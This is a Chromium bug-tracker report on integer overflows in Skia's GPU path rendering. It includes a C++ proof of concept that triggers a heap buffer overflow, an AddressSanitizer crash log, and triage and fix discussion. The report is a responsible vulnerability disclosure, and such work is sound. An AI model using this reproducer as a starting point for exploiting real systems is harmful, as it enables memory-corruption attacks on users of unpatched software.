Security: Multiple integer overflows in Skia GPU path rendering when computing vertex/idex count |
|||||||||||||||
Issue descriptionIn Skia, there are multiple GPU path rendering algorithms (everything that inherits from GrPathRenderer). Most of these algorithms compute the number of vertices/indices the paths is going to need when rendered on the GPU and then allocate the vertex and index buffer based on these numbers. Since the vertex and index count is tracked in a 32-bit signed int, integer overflows (both addition and multiplication overflows) can occur on sufficiently large paths. An example of a place where such an overflow can occur is https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/ops/GrAAConvexPathRenderer.cpp?type=cs&g=0&l=152&rcl=70132d0c73431320d4e637868e98d8b36da05eff together with the other "*vCount +=" and "*iCount += " lines. Reaching this requires a large amount of memory and time, but I did manage to hit it on my Google workstation (see the PoC and the ASan log below) so it is at least somewhat feasible. Fortunately, I wasn't able to trigger it in web browsers because - Google Chrome enforces a memory limit - Firefox does not currently enable GPU acceleration for 2D canvas by default However, both Chrome and Firefox settings could change in the future (there's actually an email thread right now about removing the memory limit in Chrome) Other places where such integer overflows might occur in different algorithm: - https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/GrTessellator.cpp?type=cs&g=0&l=2101&rcl=bfe959872ec7895d4aa6878a9fe189c37dffc99f (this is called from GrTessellatingPathRenderer) - https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/ops/GrAALinearizingConvexPathRenderer.cpp?rcl=c57354418b70b4708cfaecbf97edad16f8da66b8&l=283 (if vertexCount + currentVertices overflows, the buffer won't be extended correctly) - https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/ops/GrSmallPathRenderer.cpp?g=0&l=355&rcl=b515ae7fa2119c19bb945d3960b4a11eda99ab02 (when multiplying kVerticesPerQuad and instanceCount, both are ints) And possibly other places. PoC: ================================================================= #include <GL/glut.h> #include "GrContext.h" #include "gl/GrGLInterface.h" #include "SkData.h" #include "SkImage.h" #include "SkStream.h" #include "SkSurface.h" #include "SkCanvas.h" #include "SkPath.h" #include "SkPaint.h" int main(int argc, char** argv) { int width = 500; int height = 500; glutInit(&argc, argv); glutInitWindowSize(width, height); glutCreateWindow("Hello world"); sk_sp<GrGLInterface> interface = nullptr; sk_sp<GrContext> context = GrContext::MakeGL(interface); SkImageInfo info = SkImageInfo:: MakeN32Premul(width, height); sk_sp<SkSurface> gpuSurface(SkSurface::MakeRenderTarget(context.get(), SkBudgeted::kNo, info)); if (!gpuSurface) { printf("SkSurface::MakeRenderTarget returned null\n"); return 0; } SkCanvas* gpuCanvas = gpuSurface->getCanvas(); if(!gpuCanvas) { printf("Error getting canvas\n"); return 0; } SkPaint p; p.setAntiAlias(true); p.setStyle(SkPaint::kFill_Style); //p.setStyle(SkPaint::kStroke_Style); SkPath path; path.moveTo(0, 0); float oldx, x=0, dx; dx = 8.271806125530277e-25; for(int i=0;i<575000000;i++) { oldx = x; x += dx; if(x == oldx) { printf("%d %f\n", i, x); x = oldx; dx *= 2; continue; } path.lineTo(x, 0); } path.quadTo(0, 100, 0, 50); printf("creating path done\n"); gpuCanvas->drawPath(path, p); return 0; } ================================================================= ASan log: ================================================================= ==230668==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fa4941a2800 at pc 0x00000087f8f7 bp 0x7fff8fc5bab0 sp 0x7fff8fc5baa8 WRITE of size 2 at 0x7fa4941a2800 thread T0 #0 0x87f8f6 in create_vertices(SkTArray<Segment, true> const&, SkPoint const&, unsigned int, SkTArray<Draw, true>*, QuadVertex*, unsigned short*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:412:22 #1 0x87f8f6 in (anonymous namespace)::AAConvexPathOp::onPrepareDraws(GrMeshDrawOp::Target*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:924 #2 0x818d6d in GrOp::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrOp.h:152:49 #3 0x818d6d in GrRenderTargetOpList::onPrepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrRenderTargetOpList.cpp:88 #4 0x7d8fc7 in GrOpList::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrOpList.cpp:84:11 #5 0x7b69f0 in GrDrawingManager::executeOpLists(int, int, GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:299:22 #6 0x7b5732 in GrDrawingManager::internalFlush(GrSurfaceProxy*, GrResourceCache::FlushType, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:220:23 #7 0x7986c2 in GrDrawingManager::flush(GrSurfaceProxy*, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.h:101:22 #8 0x7986c2 in GrContext::flush() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrContext.cpp:361 #9 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:34:19 #10 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:30 #11 0x521e36 in main (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x521e36) #12 0x7fa4a673f2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #13 0x42ded9 in _start (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x42ded9) 0x7fa4941a2800 is located 0 bytes to the right of 134217728-byte region [0x7fa48c1a2800,0x7fa4941a2800) allocated by thread T0 here: #0 0x4e3520 in __interceptor_malloc (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x4e3520) #1 0x78dc68 in sk_malloc_flags(unsigned long, unsigned int) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/ports/SkMemory_malloc.cpp:69:13 #2 0x102f6b0 in sk_calloc_throw(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../include/private/SkMalloc.h:63:12 #3 0x102f6b0 in GrBufferAllocPool::resetCpuData(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:338 #4 0x102f6b0 in GrBufferAllocPool::createBlock(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:315 #5 0x102eb04 in GrBufferAllocPool::makeSpace(unsigned long, unsigned long, GrBuffer const**, unsigned long*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:173:16 #6 0x1031246 in GrIndexBufferAllocPool::makeSpace(int, GrBuffer const**, int*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:449:28 #7 0x879d03 in (anonymous namespace)::AAConvexPathOp::onPrepareDraws(GrMeshDrawOp::Target*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:917:38 #8 0x818d6d in GrOp::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrOp.h:152:49 #9 0x818d6d in GrRenderTargetOpList::onPrepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrRenderTargetOpList.cpp:88 #10 0x7d8fc7 in GrOpList::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrOpList.cpp:84:11 #11 0x7b69f0 in GrDrawingManager::executeOpLists(int, int, GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:299:22 #12 0x7b5732 in GrDrawingManager::internalFlush(GrSurfaceProxy*, GrResourceCache::FlushType, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:220:23 #13 0x7986c2 in GrDrawingManager::flush(GrSurfaceProxy*, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.h:101:22 #14 0x7986c2 in GrContext::flush() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrContext.cpp:361 #15 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:34:19 #16 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:30 #17 0x521e36 in main (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x521e36) #18 0x7fa4a673f2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:412:22 in create_vertices(SkTArray<Segment, true> const&, SkPoint const&, unsigned int, SkTArray<Draw, true>*, QuadVertex*, unsigned short*) Shadow bytes around the buggy address: 0x0ff51282c4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff51282c4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff51282c4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff51282c4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff51282c4f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ff51282c500:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff51282c510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff51282c520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff51282c530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff51282c540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff51282c550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==230668==ABORTING
,
Jun 1 2018
Ah, I missed this: "Google Chrome enforces a memory limit" But keeping the label for now as the vulnerable code is there, but not currently accessible.
,
Jun 2 2018
,
Jun 2 2018
,
Jun 4 2018
Int overflows noted (though not sure about the impact-stable for code that is not accessible.. seems there is no impact to a release stream yet or could be argued impact-HEAD in case a change is made soon) Over to our GPU team and current wrangler...
,
Jun 7 2018
The following revision refers to this bug: https://skia.googlesource.com/skia/+/d5b4593024544c3405615066aa5b4f94352eb3cb commit d5b4593024544c3405615066aa5b4f94352eb3cb Author: Greg Daniel <egdaniel@google.com> Date: Thu Jun 07 17:38:01 2018 Add checks to make sure we don't overflow 32 bit int in GPU path renderers. Bug: chromium:848716 Change-Id: I5b8fe036c666a1f379c4125115b2cec0295711b3 Reviewed-on: https://skia-review.googlesource.com/132268 Reviewed-by: Brian Salomon <bsalomon@google.com> Commit-Queue: Greg Daniel <egdaniel@google.com> [modify] https://crrev.com/d5b4593024544c3405615066aa5b4f94352eb3cb/src/gpu/ops/GrAALinearizingConvexPathRenderer.cpp [modify] https://crrev.com/d5b4593024544c3405615066aa5b4f94352eb3cb/src/gpu/ops/GrAAConvexPathRenderer.cpp [modify] https://crrev.com/d5b4593024544c3405615066aa5b4f94352eb3cb/src/gpu/GrTessellator.cpp [modify] https://crrev.com/d5b4593024544c3405615066aa5b4f94352eb3cb/src/gpu/ops/GrSmallPathRenderer.cpp
,
Jun 8 2018
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/67f3f0ce955fd170a3d471dc1458e8ca8d5984c5 commit 67f3f0ce955fd170a3d471dc1458e8ca8d5984c5 Author: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com> Date: Fri Jun 08 01:42:40 2018 Roll src/third_party/skia faef514..9f752aa (20 commits) https://skia.googlesource.com/skia.git/+log/faef514..9f752aa git log faef514..9f752aa --date=short --no-merges --format='%ad %ae %s' 2018-06-07 mtklein@chromium.org tweak SkArenaAlloc comments, parameter names 2018-06-07 caryclark@skia.org switch fiddle examples to call MakeFromTexture with RGBA 2018-06-07 brucewang@google.com SkFontMgr_DirectWrite::onMakeFromStreamArgs works on win 7 2018-06-07 mtklein@chromium.org remove unused stat tracking from SkArenaAlloc 2018-06-07 bungeman@google.com Defer Sample setup to onOnceBeforeDraw. 2018-06-07 egdaniel@google.com Revert "Require mips to be allocated at texture creation time and disable late allocations." 2018-06-07 skcms-skia-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com Roll skia/third_party/skcms 0fdd840..1be9889 (1 commits) 2018-06-07 jvanverth@google.com Revert "Change persp dftext to only antialiased" 2018-06-07 bsalomon@google.com Remove GrGLSLFragProcs typedef. Use unique_ptr to for GrGLSLFragmentProcessor ownership. 2018-06-07 egdaniel@google.com Require mips to be allocated at texture creation time and disable late allocations. 2018-06-07 bungeman@google.com Add SkTypeface::makeClone. 2018-06-07 mtklein@chromium.org remove "srgb" config from DM,nanobench 2018-06-07 khushalsagar@chromium.org fonts: Hook up FallbackTextHelper to font remoting. 2018-06-07 egdaniel@google.com Add checks to make sure we don't overflow 32 bit int in GPU path renderers. 2018-06-07 jvanverth@google.com Change persp dftext to only antialiased 2018-06-07 egdaniel@google.com Add guard around GrVkBackendContext::Create function. 2018-06-07 robertphillips@google.com Remove unused GrObjectMemoryPool 2018-06-07 angle-skia-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com Roll third_party/externals/angle2 2bd1fab..ea17575 (1 commits) 2018-06-07 mtklein@chromium.org require std::is_trivially_destructible 2018-06-07 brucewang@google.com Implement SkFontMgr_DirectWrite::onMakeFromStreamArgs function. Created with: gclient setdep -r src/third_party/skia@9f752aa The AutoRoll server is located here: https://autoroll.skia.org Documentation for the AutoRoller is here: https://skia.googlesource.com/buildbot/+/master/autoroll/README.md If the roll is causing failures, please contact the current sheriff, who should be CC'd on the roll, and stop the roller if necessary. CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;luci.chromium.try:android_optional_gpu_tests_rel;luci.chromium.try:linux_optional_gpu_tests_rel;luci.chromium.try:mac_optional_gpu_tests_rel;luci.chromium.try:win_optional_gpu_tests_rel BUG= chromium:848716 TBR=halcanary@chromium.org Change-Id: I060ba6ef2896dfce86b931a3802da1cadac2758e Reviewed-on: https://chromium-review.googlesource.com/1091812 Reviewed-by: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com> Commit-Queue: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com> Cr-Commit-Position: refs/heads/master@{#565506} [modify] https://crrev.com/67f3f0ce955fd170a3d471dc1458e8ca8d5984c5/DEPS
,
Jun 15 2018
Hello, is this bug fixed?
,
Jun 15 2018
Ahh yes I believe it should be now.
,
Jun 16 2018
,
Jun 18 2018
,
Jun 18 2018
This bug requires manual review: DEPS changes referenced in bugdroid comments. Please contact the milestone owner if you have questions. Owners: cmasso@(Android), kariahda@(iOS), bhthompson@(ChromeOS), abdulsyed@(Desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Jun 18 2018
Please mark which OS's this is impacting to route the merge request appropriately.
,
Jun 18 2018
Because of the discussion in the beginning of this bug that the issue is not actually accessible in chrome, is there any reason for this to be merged back?
,
Jun 18 2018
Pls apply appropriate OSs label. +awhalley@ for M68 merge review
,
Jun 18 2018
Accessible, but mitigated: I'm OK not merging but would be interested to hear from +palmer (FYI - reporter hit memory limit)
,
Jun 18 2018
We removed RLIMIT_AS, but we still have RLIMIT_DATA (https://chromium-review.googlesource.com/c/chromium/src/+/1097553/7/services/service_manager/sandbox/linux/sandbox_linux.cc), which should stop you from allocating more than 8 GiB of actual memory (as opposed to just address space) on 64-bit platforms. Does that still mitigate the problem, ifratric?
,
Jul 23
,
Aug 16
,
Sep 4
,
Sep 22
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||||||||
►
Sign in to add a comment |
|||||||||||||||
Comment 1 by mea...@chromium.org
, Jun 1 2018Labels: Security_Severity-High Security_Impact-Stable
Owner: hcm@chromium.org
Status: Assigned (was: Unconfirmed)